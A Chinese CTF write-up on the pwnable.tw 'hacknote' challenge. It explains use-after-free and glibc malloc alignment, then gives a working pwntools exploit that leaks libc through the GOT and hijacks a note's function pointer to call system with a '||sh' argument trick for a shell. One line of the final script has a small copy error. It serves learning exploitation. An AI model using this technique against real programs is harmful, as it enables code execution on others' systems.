0x00漏洞簡介
uaf漏洞產生的主要原因是釋放了一個堆塊后,并沒有將該指針置為NULL,這樣導致該指針處于懸空的狀態(有的地方翻譯為迷途指針),同樣被釋放的內存如果被惡意構造數據,就有可能會被利用。
再怎么表述起始還不如真的拿一道題自己調自己看內存看堆狀態來的好理解。這也是我覺得ctf-pwn的意義所在,可以把一些漏洞抽象出來以題的形式,作為學習這方面的一個抓手。
此篇盡量做的細致基礎,但仍然假設讀者已經初步了解uaf能夠實現exploit的原理,例如malloc的內存優先分配機制。
當然作為一個小白,還是從一些比較直白漏洞利用單一一些的題目來理解uaf的利用姿勢。
pwnable.kr這個網站基本滿足這種單一直白,代碼量不多也基本不需要多個漏洞一起搞,就是服務經常掛。上面有一道uaf的題,好像是利用c++虛函數表搞的
exploit-exercise也不錯,不過后面的題目調試起來比較麻煩。
pwnable.tw比較難,可以作為進階練習。
感覺如果想找一個題目作為開始,TU-CTF PWN ?woO這道五十分的題基本沒什么坑,可以作為理解用。
這次分析一下pwnable.tw的這道hacknote,相比2016湖湘的fheap而言這道題算是純uaf利用了,做個記錄也幫助進一步理解uaf的姿勢>
0x01 程序分析
丟到ida里面看下:
add note功能:
可以看到首先為ptr+note_offset 使用malloc分配了8字節的內存,分別存放函數地址0x804862b(打印content的內容)和一個指向當期那note內容content的指針。
之后會請用戶輸入content的size和content的內容。這里涉及到malloc分配內存時的內存對齊。(其實想要uaf來覆蓋的話直接申請相同大小的內存就行了,沒必要花式考慮內存對齊)
0x02 malloc內存對齊
部分摘自網絡
在大多數情況下,編譯器和C庫透明地幫你處理對齊問題。POSIX 標明了通過malloc( ), calloc( ), 和 realloc( ) 返回的地址對于任何的C類型來說都是對齊的。這樣可以避免內存中的碎片,提高程序效率。
對齊參數(MALLOC_ALIGNMENT)?大小的設定并需滿足兩個特性:
1)必須是2的冪
2)必須是void*的整數倍,sizeof(void*) is 4Bytes in x86 ,and ?8Bytes in x64
粗粗看了下malloc的頭文件定義,對齊參數MALLOC_ALIGNMENT應該為2*sizeof(void*),即32位下為8bytes,64位下為16bytes。
但是最小分配單位并不是對齊單位,同樣參考glibc的malloc.h文件,最小分配單位MINSIZE:
其中MIN_CHUNK_SIZE為一個chunk結構體的大小:為16字節
計算MINSIZE=(16+8-1) & ~(8-1)=16字節
即32位下malloc的最小分配單位為16字節,64位下最小分配單位為32字節。
其中request2size就是malloc的內存對齊操作。
從request2size還可以知道,如果是64位系統,申請內存為1~24字節時,系統內存消耗32字節,當申請內存為25字節時,系統內存消耗48字節。如果是32位系統,申請內存為1~12字節時,系統內存消耗16字節,當申請內存為13字節時,系統內存消耗24字節。(類似計算MINSIZE)
0x03 泄露libc_base地址
繼續分析程序的基本流程:
add note后堆的情況:
這里新建了兩個note,大小分別為20和8,ptr處存放了了兩個指向note結構體的指針。
struct note{
*p ? ? ? ? ? ? //指向打印函數0x080462b的指針
*content ? //指向note內容的指針
}
可以看到之前介紹的malloc內存對齊機制的體現:
1.一開始malloc了8字節存放note結構體,實際上為了內存對齊分配了0x804b008~0x804b017的16字節內存空間;
2.用戶設置的content大小為20字節,對齊后實際為0x804b018~0x804b02b的24字節內存空間
大體的利用思路為:
add_note首先malloc出8字節來存放note結構體,接著用戶輸入content的size:16,這樣操作兩次,分配的內存大小為16/24/16/24
接著使用delete_note來釋放內存:
先后delete_note(0) ?delete_note(1),接著add_note,增加一個content size=8,內容為'aaaaaaaa'
free后并沒有置空指針,這樣就造成了uaf利用。free過后的空表:
——————————————
| content0 ? ? ? ? 32bytes ? ? ? ? ? ?第一個note的content ? ? ? | ? ?head
—————————————— ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? |
| struct note0 ? ?16bytes ? ? ? ? ? ?第一個note的結構體 ? ? ? ? |
—————————————— ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? |
|content1 ? ? ? ? ?32bytes ? ? ? ? ? ?第二個note的content ? ? ? |
—————————————— ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? |
|struct note1 ? ? ?16bytes ? ? ? ? ? ?第二個note的結構體 ? ? ? ?|
—————————————— ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?V ? ?tail
增加note的過程中需要做兩次malloc(8)的操作,經過內存對齊后即為分配兩個大小為16字節的內存,這樣根據malloc的優先分配機制,從空表尾部開始尋找大小為16字節的空間。
因此新建的note2的strcut note將被分配到note1的結構體位置,note2的content將被分配到note0的結構體位置,note0八字節的結構體處分別存放了打印函數0x804862b和其參數地址,現在將被我們輸入的content覆蓋!
題目已經給出了libc文件,我們首先要做的就是泄露出libc加載到內存中的基址:
以read()為例,我們將指向content的指針覆蓋為read在got表中的地址,這樣調用print_note后就會打印出read的實際地址,利用:system_addr-libc_system=read_addr-libc_read
計算system_addr=read_addr-libc_read+libc_system
def leak_libc_base():
libc=ELF('./libc_32.so.6')
libc_read_addr=libc.symbols['read']
libc_system_addr=libc.symbols['system']
add(20,'a'*19)
add(20,'b'*19)
delete(0)
delete(1)
add(8,p32(0x804862b)+p32(0x804a00c))
show(0)
leak_read_addr=u32(p.recv(4))
system_addr=leak_read_addr-libc_read_addr+libc_system_addr
return system_addr
0x04 cat flag
泄露libc加載基址的過程實際上就是改編程序執行流程的過程,既然我們已經得到了system的實際地址,只需要重復相同的步驟,只是將原本0x804862b覆蓋為system的地址。
這里還有一個小坑,覆蓋后system的參數實際上是從note0結構體開始的,也就是p32(system_addr)+'sh',這樣是無法達到system('/bin/sh')的效果的,類似的題目還有sect.ctf.rocks(比賽網站已經掛了好像是叫做SEC-T CTF一個國外的比賽)里有一道pwn50也要用到system參數截斷的姿勢,當時用的是&&sh,類似的還有||sh,;sh; 類似的好像在web題里也有體現(???萌新表示對web一無所知)
還有最近不知道為什么不止pwnable.kr經常掛,今天試pwnable.tw去nc的時候也gg了,暫時本地測試ok。
附上exp:
from pwn import *
p=process('./hacknote')
def add(size,data):
p.recvuntil('Your choice ')
p.recvuntil(':')
p.sendline('1')
p.recvuntil('Note size ')
p.recvuntil(':')
p.sendline(str(size))
p.recvuntil('Content ')
p.recvuntil(':')
p.sendline(data)
def delete(index):
p.recvuntil('Your choice ')
p.recvuntil(':')
p.sendline('2')
p.recvuntil('Index ')
p.recvuntil(':')
p.sendline(str(index))
def show(index):
p.recvuntil('Your choice ')
p.recvuntil(':')
p.sendline('3')
p.recvuntil('Index ')
p.recvuntil(':')
p.sendline(str(index))
def leak_libc_base():
libc=ELF('./libc_32.so.6')
libc_read_addr=libc.symbols['read']
libc_system_addr=libc.symbols['system']
add(20,'a'19)
add(20,'b'*19)
delete(0)
delete(1)
add(8,p32(0x804862b)+p32(0x804a00c))
show(0)
leak_read_addr=u32(p.recv(4))
system_addr=leak_read_addr-libc_read_addr+libc_system_addr
return system_addr
system_addr=leak_libc_base()
print hex(system_addr)
delete(2)
add(8,p32(system_addr)+'||sh')
#gdb.attach(p,'b * 0x8048a85')
show(0)
p.interactive()